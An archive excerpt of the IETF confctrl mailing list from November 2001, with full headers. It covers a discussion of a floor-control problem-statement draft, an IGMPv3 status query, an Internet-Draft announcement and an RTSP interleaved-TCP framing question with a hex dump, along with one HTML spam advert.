        IETF MMUSIC WG <confctrl@ISI.EDU>
Subject: Re: Draft Submission (floor control)
References: <DC504E9C3384054C8506D3E6BB01246008D526@bsebe001.NOE.Nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

"Trossen Dirk (NRC/Boston)" wrote:
> 

> http://search.ietf.org/internet-drafts/draft-trossen-conferencing-problem-00.txt


> As for the MMUSIC WG, it is not intended to bring this work back as an
> item on
> the charter of the WG, which is also agreed with the WG chairs.
> However, I'd like to use the expertise of the members of the list to
> start the
> discussion whether and, if so, how to bring work regarding this topic to
> the IETF.
> 
> So please feel free to provide comments regarding this document.

Thanks for the draft.

It would be nice if the document was much clearer in its distinction
between centralized conferences [11], and multicast conferences. Some
things, like floor control, are really easy to enforce in centralized
conferences (using existing protocols with minor extensions), but
require reliable multicast protocols, and N-to-N reliability and
distributed state management to boot. I suspect if we want to make
progress after ten years on this topic, that separating the two will
help.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Nov  9 10:45:11 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA18725
	for confctrl-outgoing; Fri, 9 Nov 2001 10:45:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA18720
	for <confctrl@zephyr.isi.edu>; Fri, 9 Nov 2001 10:45:09 -0800 (PST)
Received: from mgw-dax1.ext.nokia.com (mgw-dax1.ext.nokia.com [63.78.179.216])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA9Ijeg24457;
	Fri, 9 Nov 2001 10:45:40 -0800 (PST)
Received: from davir03nok.americas.nokia.com (davir03nok.americas.nokia.com [172.18.242.86])
	by mgw-dax1.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fA9IjhQ01605;
	Fri, 9 Nov 2001 12:45:43 -0600 (CST)
Received: from daebh001.NOE.Nokia.com (unverified) by davir03nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T571d8d0e9cac12f256126@davir03nok.americas.nokia.com>;
 Fri, 9 Nov 2001 12:45:38 -0600
Received: from bsebe001.NOE.Nokia.com ([172.19.160.13]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 9 Nov 2001 12:45:44 -0600
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
content-class: urn:content-classes:message
Subject: RE: Draft Submission (floor control)
Date: Fri, 9 Nov 2001 13:45:36 -0500
Message-ID: <DC504E9C3384054C8506D3E6BB01246008D527@bsebe001.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Draft Submission (floor control)
Thread-Index: AcFpSmXtfDMMmtU5EdWxLwAIx6TWeAAAHYiw
From: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
To: "'ext Henning G. Schulzrinne'" <hgs@cs.columbia.edu>
Cc: "Joerg Ott (E-mail)" <jo@tzi.org>, "Colin Perkins" <csp@ISI.EDU>,
        <flr-ctrl-grp@network2.cs.usm.my>, <eunah@etri.re.kr>,
        <vicomte@serome.co.kr>, <sgkang@etri.re.kr>, <robla@real.com>,
        <finlayson@live.com>, <luby@digitalfountain.com>,
        <jdrosen@dynamicsoft.com>, <reichert@fokus.gmd.de>,
        <sjkoh@pec.etri.re.kr>,
        "Koskelainen Petri (NRC/Tampere)" <petri.koskelainen@nokia.com>,
        "IETF MMUSIC WG" <confctrl@ISI.EDU>
X-OriginalArrivalTime: 09 Nov 2001 18:45:44.0298 (UTC) FILETIME=[BD09B4A0:01C1694E]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id KAA18721
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning,

thanks for your comment.

Some words to this. The document tried to address the problem more
from a functionality point of view, i.e., what is (or might be) needed
in
certain classes of conferences. If a particular scenario requires floor
control
or membership enforcement than it is this service that you have to
somehow
implement. 

When it comes to certain environments for realizing these services, such
as in 
centralized or multicast conferences, certain protocols (which might
merely be 
simple extensions of existing ones) have to be picked for this. 

I totally agree that especially centralized conferences are very easy
to provide with a solution, and are therefore one of the first
candidates
for a protocol solution. This interest was also expressed by Jonathan
in London.

The draft, however, did not address this since it was targetted as a 
problem statement. However, I could add a section that already evaluates
candidates that are 'most likely'.

Regards,



Dirk


> Thanks for the draft.
> 
> It would be nice if the document was much clearer in its distinction
> between centralized conferences [11], and multicast conferences. Some
> things, like floor control, are really easy to enforce in centralized
> conferences (using existing protocols with minor extensions), but
> require reliable multicast protocols, and N-to-N reliability and
> distributed state management to boot. I suspect if we want to make
> progress after ten years on this topic, that separating the two will
> help.
> 
> -- 
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs
> 

From confctrl-owner  Fri Nov  9 10:50:10 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA18937
	for confctrl-outgoing; Fri, 9 Nov 2001 10:50:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA18932
	for <confctrl@zephyr.isi.edu>; Fri, 9 Nov 2001 10:50:09 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA9Iodg26649;
	Fri, 9 Nov 2001 10:50:39 -0800 (PST)
Received: from cs.columbia.edu (metroliner.cs.columbia.edu [128.59.19.252])
	by opus.cs.columbia.edu (8.10.2+Sun/8.9.3) with ESMTP id fA9IoTV15666;
	Fri, 9 Nov 2001 13:50:30 -0500 (EST)
Message-ID: <3BEC2575.AB8D231D@cs.columbia.edu>
Date: Fri, 09 Nov 2001 13:50:29 -0500
From: "Henning G. Schulzrinne" <hgs@cs.columbia.edu>
Organization: Dept. of Computer Science, Columbia University
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.19-3cucs i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
CC: "Joerg Ott (E-mail)" <jo@tzi.org>, Colin Perkins <csp@ISI.EDU>,
        flr-ctrl-grp@network2.cs.usm.my, eunah@etri.re.kr,
        vicomte@serome.co.kr, sgkang@etri.re.kr, robla@real.com,
        finlayson@live.com, luby@digitalfountain.com, jdrosen@dynamicsoft.com,
        reichert@fokus.gmd.de, sjkoh@pec.etri.re.kr,
        "Koskelainen Petri (NRC/Tampere)" <petri.koskelainen@nokia.com>,
        IETF MMUSIC WG <confctrl@ISI.EDU>
Subject: Re: Draft Submission (floor control)
References: <DC504E9C3384054C8506D3E6BB01246008D527@bsebe001.NOE.Nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

"Trossen Dirk (NRC/Boston)" wrote:
> 

> 
> The draft, however, did not address this since it was targetted as a
> problem statement. However, I could add a section that already evaluates
> candidates that are 'most likely'.

I think the section on existing solutions would be more useful if it
addressed what functionality is available in the multicast and
centralized case.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Nov  9 11:16:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA19959
	for confctrl-outgoing; Fri, 9 Nov 2001 11:16:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA19954
	for <confctrl@zephyr.isi.edu>; Fri, 9 Nov 2001 11:16:10 -0800 (PST)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA9JGeg10999;
	Fri, 9 Nov 2001 11:16:40 -0800 (PST)
Received: from davir02nok.americas.nokia.com (davir02nok.americas.nokia.com [172.18.242.85])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fA9JHMQ28405;
	Fri, 9 Nov 2001 13:17:22 -0600 (CST)
Received: from daebh002.NOE.Nokia.com (unverified) by davir02nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T571da971c3ac12f255079@davir02nok.americas.nokia.com>;
 Fri, 9 Nov 2001 13:16:38 -0600
Received: from bsebe001.NOE.Nokia.com ([172.19.160.13]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 9 Nov 2001 13:16:38 -0600
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
content-class: urn:content-classes:message
Subject: RE: Draft Submission (floor control)
Date: Fri, 9 Nov 2001 14:16:37 -0500
Message-ID: <DC504E9C3384054C8506D3E6BB01246008D528@bsebe001.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Draft Submission (floor control)
Thread-Index: AcFpT2z21I4JFNVBEdWJVQAIx6TWpQAAMoyQ
From: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
To: "'ext Henning G. Schulzrinne'" <hgs@cs.columbia.edu>
Cc: "Joerg Ott (E-mail)" <jo@tzi.org>, "Colin Perkins" <csp@ISI.EDU>,
        <flr-ctrl-grp@network2.cs.usm.my>, <eunah@etri.re.kr>,
        <vicomte@serome.co.kr>, <sgkang@etri.re.kr>, <robla@real.com>,
        <finlayson@live.com>, <luby@digitalfountain.com>,
        <jdrosen@dynamicsoft.com>, <reichert@fokus.gmd.de>,
        <sjkoh@pec.etri.re.kr>,
        "Koskelainen Petri (NRC/Tampere)" <petri.koskelainen@nokia.com>,
        "IETF MMUSIC WG" <confctrl@ISI.EDU>
X-OriginalArrivalTime: 09 Nov 2001 19:16:38.0354 (UTC) FILETIME=[0E243320:01C16953]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id LAA19955
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning, 

I agree that this section is pretty (maybe too) short.

Assuming that the percentage of people that want to introduce an H.323
(-like) 
system in the Internet as a conferencing framework is rather low, it
would 
come to the point to evaluate existing Internet (SIP) solutions
regarding their
functionality with respect to what is agreed to be necessary for
conference course
control. 

That's exactly the approach, that I tried to outline in the draft, in
particular 
in Section 8, namely
- define requirements for conference course control solutions,
- define the services needed,
- evaluate candidates, such as centralized SIP or MC conferences, to
what
extent they fulfil the service requirements, and
- recommend certain candidates as standards for conference course
control solutions.
- (And maybe address missing pieces if there is enough interest for it)

Some parts of this work have already been done to some extent. There are
service 
proposals that had been submitted to the IETF, and there are certainly
solutions
for (parts of) the services required out there. 

This had also been the approach of the SCCP service proposal that had
been submitted 
to the MMUSIC WG in March. The problem is that after removal of the
appropriate work item
from the MMUSIC charter, there is no place in the IETF to address this
topic.
So I tried to start from scratch, i.e., raising interest for an
(officially non-existing) 
IETF effort in this area, formulating a problem statement, and trying to
figure out how to 
bring this topic back to the IETF, either as a work item within certain
WGs or as an own WG.

Regards,



Dirk

> > The draft, however, did not address this since it was targetted as a
> > problem statement. However, I could add a section that 
> already evaluates
> > candidates that are 'most likely'.
> 
> I think the section on existing solutions would be more useful if it
> addressed what functionality is available in the multicast and
> centralized case.
> 
> -- 
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs
> 

From confctrl-owner  Fri Nov  9 19:49:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA03839
	for confctrl-outgoing; Fri, 9 Nov 2001 19:49:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA03834
	for <confctrl@zephyr.isi.edu>; Fri, 9 Nov 2001 19:49:36 -0800 (PST)
Received: from tnt.isi.edu (lsanca1-ar8-183-030.lsanca1.dsl.gtei.net [4.35.183.30])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fAA3nkg00484
	for <confctrl@isi.edu>; Fri, 9 Nov 2001 19:49:53 -0800 (PST)
From: "CD Digital Card" <>
Date: Fri, 09 Nov 2001 19:43:05
To: confctrl@ISI.EDU
Subject: CD Business Card & CD-Rom & DVD
MIME-Version: 1.0
Content-Type: multipart/related;
  boundary="----=_NextPart_KZHAZDIPOW"
Content-Transfer-Encoding: 7bit
Message-ID: PM20007:43:05 PM
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is an HTML email message.  If you see this, your mail client does not support HTML messages.

------=_NextPart_KZHAZDIPOW
Content-Type: text/html;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

<html>
<head>
<title>Welcome to Cd Digital Card</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="description" content="CD Digital Card is full service,CD Business Card, CD, DVD, CDR, and shape CD&DVD manufacturer, CD Business Card, cutting CD, Shaped CD, Custom Shaped CDs. Leave your clients with an exciting and memorable impression.">
<meta name="keywords" content="cd business card,dvd business card, cd rom card, multimedia, shape cd, CD Cutting, dvd card,CDR Card, digicard, cdbusinesscard, DVD Business Card, shape cd, cd card, DVD card, DVDcard, cdcard, shapecd, cdshape, Promotion cd, ticket cd, CD rom, CD's, Video, Video Production, Video Compression, Video DVD, Video CD">
<meta name="Author" content="CDDigitalCard.com">
</head>

<body bgcolor="#FFFFFF" text="#000000" onLoad="">
<table width="639" border="0" cellspacing="0" cellpadding="0" align="left">
  <tr> 
    <td align="left" valign="top" height="207"> 
      <p align="center"><a href="http://cddigitalcard.com"><img src="http://cddigitalcard.com/frame_imgs/montage.jpg" width="356" height="147" hspace="10" border="0"></a></p>
      <p align="center"><font face="Arial, Helvetica, sans-serif" size="3"><b><i><font color="#FF0033">We 
        assure you that you only will receive this e.mail once <font color="#0000CC">!</font> 
        it is up to you to<font color="#0033CC"> link</font> or <font color="#0033CC">delete.</font></font></i></b></font></p>
    </td>
    <td align="center" valign="middle" colspan="2" height="207"> 
      <table width="282" border="1" bordercolor="#CCCCCC" cellspacing="0" cellpadding="5">
        <tr> 
          <td bgcolor="#DDE7FF"><font face="Arial, MS Sans Serif" size="1" color="#000000"> 
            <p align="center"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0" width="280" height="120">
                <param name=movie value="http://cddigitalcard.com/Cd%20Digital%20Card2.swf">
                <param name=quality value=high>
                <embed src="http://cddigitalcard.com/Cd%20Digital%20Card2.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="280" height="120">
                </embed> 
              </object></p>
            </font></td>
        </tr>
      </table>
      <table width="75%">
        <tr> 
          <td width="50%" align="center"><a href="http://cddigitalcard.com"><img src="http://cddigitalcard.com/images/compactdisc.jpg" width="78" height="40" border="0"></a></td>
          <td width="50%" align="center"><a href="http://cddigitalcard.com"><img src="http://cddigitalcard.com/images/DVD.jpg" width="84" height="44" border="0"></a></td>
        </tr>
      </table>
    </td>
    <td width="1" height="207">&nbsp;</td>
  </tr>
  <tr> 
    <td colspan="3" align="left" valign="top"> 
      <blockquote> 
        <p align="left"><a href="http://cddigitalcard.com"><img src="http://cddigitalcard.com/images/ZCDDigital%20Logo.gif" width="100" height="57" border="0"></a> 
          <font size="2" face="Arial, Helvetica, sans-serif">is a full-service 
          CD, DVD and Shaped digital disc manufacturer. We design, engineer, and 
          manufacture superior quality CD's and DVD's for a diverse customer base. 
          </font></p>
        <p><font size="2" face="Arial, Helvetica, sans-serif"><a href="http://cddigitalcard.com"><b>CD 
          Digital Card </b></a>is a one-stop manufacturing solution providing 
          services to Corporate Clients, Multimedia Companies, Advertising Agencies, 
          Marketing Companies, Optical Disc Replicators/Duplicators, and Fulfillment 
          Companies. CD Digital Card utilizes state of the art CNC-controlled 
          equipment to produce the highest quality shaped CD, DVD, and CDR products 
          available. </font></p>
      </blockquote>
      <blockquote><font size="2" face="Arial, Helvetica, sans-serif">Our experienced 
        staff, superior quality control, and aggressive pricing combine to offer 
        unprecedented support services that enable Cd Digital Card to meet customer 
        requirements for on-time, high quality products.</font></blockquote>
      <blockquote><font face="Arial, MS Sans Serif" size="2"><a href="http://cddigitalcard.com"><b>CD 
        Digital Card</b> </a>is your full-service manufacturing partner. Flexible 
        quality driven and competitively priced: Join Us<b><font color="#000099">!</font></b> 
        Together we will excel<b><font color="#0000CC">! </font></b></font></blockquote>
    </td>
    <td width="1">&nbsp;</td>
  </tr>
  <tr> 
    <td colspan="3" align="center" valign="middle"> 
      <div align="center"><font face="Arial, Helvetica, sans-serif" size="2" color="#0000CC"><b><i>CD 
        Digital Card is Committed to Quality, Excellence, and above all, 100% 
        Customer Satisfaction.</i></b></font></div>
    </td>
    <td width="1">&nbsp;</td>
  </tr>
  <tr> 
    <td colspan="3" align="left" valign="top" height="57"> 
      <div align="center"> 
        <p><img src="http://cddigitalcard.com/images/irma-Member.gif" width="100" height="39"><img src="images/clearpixel.gif" width="10" height="10"><i><font color="#CC0000"><b><i> 
          </i></b></font></i><img src="http://cddigitalcard.com/images/cddc-idda%20mem.gif" width="100" height="46"> 
          <img src="http://cddigitalcard.com/images/Omma-Member.gif" width="80" height="38"></p>
      </div>
    </td>
    <td width="1" height="57">&nbsp;</td>
  </tr>
  <tr> 
    <td colspan="3" align="center" valign="middle"><a href="http://cddigitalcard.com"> 
      <img src="http://cddigitalcard.com/images/home.gif" width="54" height="17" border="0"></a></td>
  </tr>
  <tr> 
    <td colspan="3" align="left" valign="top">
      <div align="center"><img src="http://cddigitalcard.com/images/international-logo.gif" width="170" height="60"></div>
    </td>
  </tr>
  <tr> 
    <td colspan="3" align="left" valign="top" height="2">&nbsp;</td>
  </tr>
  <!-- BEGIN HITOMETER TAG VERSION 2 --> 
  <script language="JavaScript1.1"><!--
d=document;c='<img WIDTH=1 HEIGHT=1 border=0 '+
'src="http://i50.netscape.com/c.cgi?A2102150$2693296$';
if(parseFloat(navigator.appVersion)>=4){x='x';s=screen;
c+=s.width+x+s.height+x+s.pixelDepth+x+s.colorDepth;}
d.writeln(c+'$'+d.referrer+'">'); // -->
</script>
  <noscript><img WIDTH=1 HEIGHT=1 border=0
src="http://i50.netscape.com/c.cgi?B2102150$2693296"
alt="Hitometer"></noscript> <!-- END HITOMETER TAG ( WWW.HITOMETER.COM ) --> 
</table>
</body>
</html>



------=_NextPart_KZHAZDIPOW--


From confctrl-owner  Sun Nov 11 20:27:07 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA14123
	for confctrl-outgoing; Sun, 11 Nov 2001 20:27:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA14118
	for <confctrl@zephyr.isi.edu>; Sun, 11 Nov 2001 20:27:06 -0800 (PST)
Received: from acsys.anu.edu.au (acsys.anu.edu.au [150.203.20.41])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAC4Rcg01772
	for <confctrl@isi.edu>; Sun, 11 Nov 2001 20:27:39 -0800 (PST)
Received: from ACCORDION2.acsys.anu.edu.au (accordion2.apac.edu.au [150.203.56.15])
	by acsys.anu.edu.au (8.9.3/8.9.3) with ESMTP id PAA21536;
	Mon, 12 Nov 2001 15:27:37 +1100 (EST)
Message-Id: <5.0.2.1.0.20011112151616.04ed6ec0@acsys.anu.edu.au>
X-Sender: markus@acsys.anu.edu.au
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 12 Nov 2001 15:27:36 +1100
To: confctrl@ISI.EDU
From: Markus Buchhorn <Markus.Buchhorn@anu.edu.au>
Subject: current igmp-v3 spec?
Cc: idmr@cs.ucl.ac.uk
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi All

The IGMPv3 draft (-07) expired in September 2001 - is there an RFC in the 
pipeline I have missed? Or a newer version of the draft hiding somewhere?

Cheers,
	Markus

Markus Buchhorn, Faculty of Engineering and IT,          | Ph: +61 2 61258810
email: markus.buchhorn@anu.edu.au, mail: CSIT Bldg #108  |Fax: +61 2 61259805
Australian National University, Canberra 0200, Australia |Mobile: 0417 281429


From confctrl-owner  Tue Nov 13 04:09:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA13226
	for confctrl-outgoing; Tue, 13 Nov 2001 04:09:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA13203
	for <confctrl@zephyr.isi.edu>; Tue, 13 Nov 2001 04:09:21 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fADC9sg26085
	for <confctrl@isi.edu>; Tue, 13 Nov 2001 04:09:54 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA20441;
	Tue, 13 Nov 2001 07:09:32 -0500 (EST)
Message-Id: <200111131209.HAA20441@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-kmgmt-ext-00.txt
Date: Tue, 13 Nov 2001 07:09:32 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Key Management Extensions for SDP and RTSP
	Author(s)	: J. Arkko
	Filename	: draft-ietf-mmusic-kmgmt-ext-00.txt
	Pages		: 8
	Date		: 12-Nov-01
	
Work for securing real-time applications have started. It has also
brought toward the need for a key management infrastructure to
support the security protocol.
This document defines extensions for SDP and RTSP to carry the
security information needed by a key management protocol, in order to
secure the media stream itself.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-kmgmt-ext-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-kmgmt-ext-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-kmgmt-ext-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011112120400.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-kmgmt-ext-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-kmgmt-ext-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011112120400.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Nov 13 08:53:34 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA23308
	for confctrl-outgoing; Tue, 13 Nov 2001 08:53:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA23303
	for <confctrl@zephyr.isi.edu>; Tue, 13 Nov 2001 08:53:32 -0800 (PST)
Received: from fsc.cpsc.ucalgary.ca (fsc.cpsc.ucalgary.ca [136.159.2.3])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fADGs6g09966
	for <confctrl@isi.edu>; Tue, 13 Nov 2001 08:54:06 -0800 (PST)
Received: from imgw1.cpsc.ucalgary.ca (ons-imgw1 [192.168.1.66])
	by fsc.cpsc.ucalgary.ca (8.12.1/8.12.1) with ESMTP id fADGs5oF022706
	for <confctrl@isi.edu>; Tue, 13 Nov 2001 09:54:05 -0700
Received: from cpsc.ucalgary.ca (ict734 [136.159.7.236])
	by imgw1.cpsc.ucalgary.ca (8.11.6/8.11.6) with ESMTP id fADGs5v20913
	for <confctrl@isi.edu>; Tue, 13 Nov 2001 09:54:05 -0700
Message-ID: <3BF150B4.3EB9BD15@cpsc.ucalgary.ca>
Date: Tue, 13 Nov 2001 09:56:20 -0700
From: Tianbo Kuang <kuang@cpsc.ucalgary.ca>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: x-pn-tng/tcp encapsulation.
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I have some questions about transporting rtsp data on interleaved tcp
connection.
    (1) rfc2326 says the RTP data packets are encapsulated by an ascii
dollar sign (hex 24), followed by channel id, length and data. My
question is: how can we tell the start of a data packet if the data area
also contains a (24, channel id) combination?
    (2) From my captured data, I saw realserver always uses x-pn-tng/tcp
as the transport protocol, although my realplayer 8 basic reported
x-pn-tng/tcp, x-real-rdt/tcp, rtp/avp/tcp. I know x-real-rdt is
realnetwork's properitary protocol. But what is x-pn-tng? Does it have
the same data encapsulation as rdt or rtp/tcp interleaved?
    (3) I analyzed the captured data from a streaming session. From the
data I can see the server is RealServer 8.0.1.367. I was using
realplayer 8 basic. The setup process chose x-pn-tng/tcp as the
transport protocol with audio in channel 0 and video in channel 1. I
searched 2400 and 2401 as the start of a new data packet (assuming it
has the same encapsulation as rtp/tcp). However, some of the length
fields are not correct as shown as follows,
    I have marked in the frame the total IP packet length is 1041 (minus
40 length tcp/ip header = 1021). However, the first audio data has the
length of 397. The second audio data has a length of 616 while the video
data has length 5666. The total length is much bigger than the total ip
packet. Although a rtsp message may only contain part of a data packet,
the next frame has a total length 1301 with the first audio data 615,
second audio data 62 and third audio data 612. Since 615+62+612 +3*4=
1301, the total length is correct and it doesn't look to contain
information about the previous message.  I've noticed other inconsistant
points. What's wrong here?

Thanks,

P.S. Anybody knows how to force realplayer 8 basic to use rtp? I addd
HKEY_CLASSES_ROOT\Software\RealNetworks\RealPlayer\6.0\Preferences\UseRTP
1. It doesn't work.

--Tianbo

 - - - - - - - - - - - - - - - - - - - - Frame 62 - - - - - - - - - - -
- - - - - - - - -
ADDR  HEX                                               ASCII
0000: 08 02 75 00 00 07 50 ca 38 0f 00 07 0e b9 27 25 | ..u...PÊ8....¹'%

0010: 00 a0 24 0a c8 2d 00 cc aa aa 03 00 00 00 08 00 | . $.È-.̪ª......

0020: 45 00 04 25 5f ca 40 00 30 06 10 3f 3f d1 d5 41 | E..%_Ê@.0..??ÑÕA

                   ^^^^^
                   IP header, total length x425 (decimal 1041)
0030: c0 a8 01 0f 02 2a 09 0b 72 c4 99 b7 71 f4 d0 7d | À¨...*..rÄ?·qôÐ}

0040: 50 18 7d 78 89 59 00 00 24 00 01 8d 42 00 1a 08 | P.}x?Y..$..?B...

                                               ^^^^^^^^^
                                               channel 0, length x18d
(decimal 397)
0050: 00 00 09 48 00 00 81 02 42 97 40 49 23 03 24 a4 | ...H..?.B-@I#.$¤

0060: 11 53 14 aa 31 de 59 9d 7f a8 18 f1 2a fe 27 c6 | .S.ª1ÞY?¨.ñ*þ'Æ

0070: fe 61 b6 2e fb dd 5b 75 3c 3d 17 f2 e0 ef ef b4 | þa¶.ûÝ[u<=.òàïï´

0080: 63 ba 0b 30 dd f2 f3 c4 92 51 b6 ff 0e 3b 91 8c | cº.0ÝòóÄ?Q¶ÿ.;??

0090: d4 21 08 47 33 21 10 7d 34 9f 2c 96 31 f7 32 08 | Ô!.G3!.}4Y,-1÷2.

00a0: 8c 21 08 43 a3 41 c0 41 2d 49 49 24 1b 64 83 00 | ?!.C£AÀA-II$.df.

00b0: 05 32 29 87 9e 79 e7 93 09 8a 42 90 48 24 12 14 | .2)??yç?.SB?H$..

00c0: c8 a4 29 47 9e 79 e7 9e 4e 26 29 84 c2 61 30 98 | Ȥ)G?yç?N&)?Âa0~

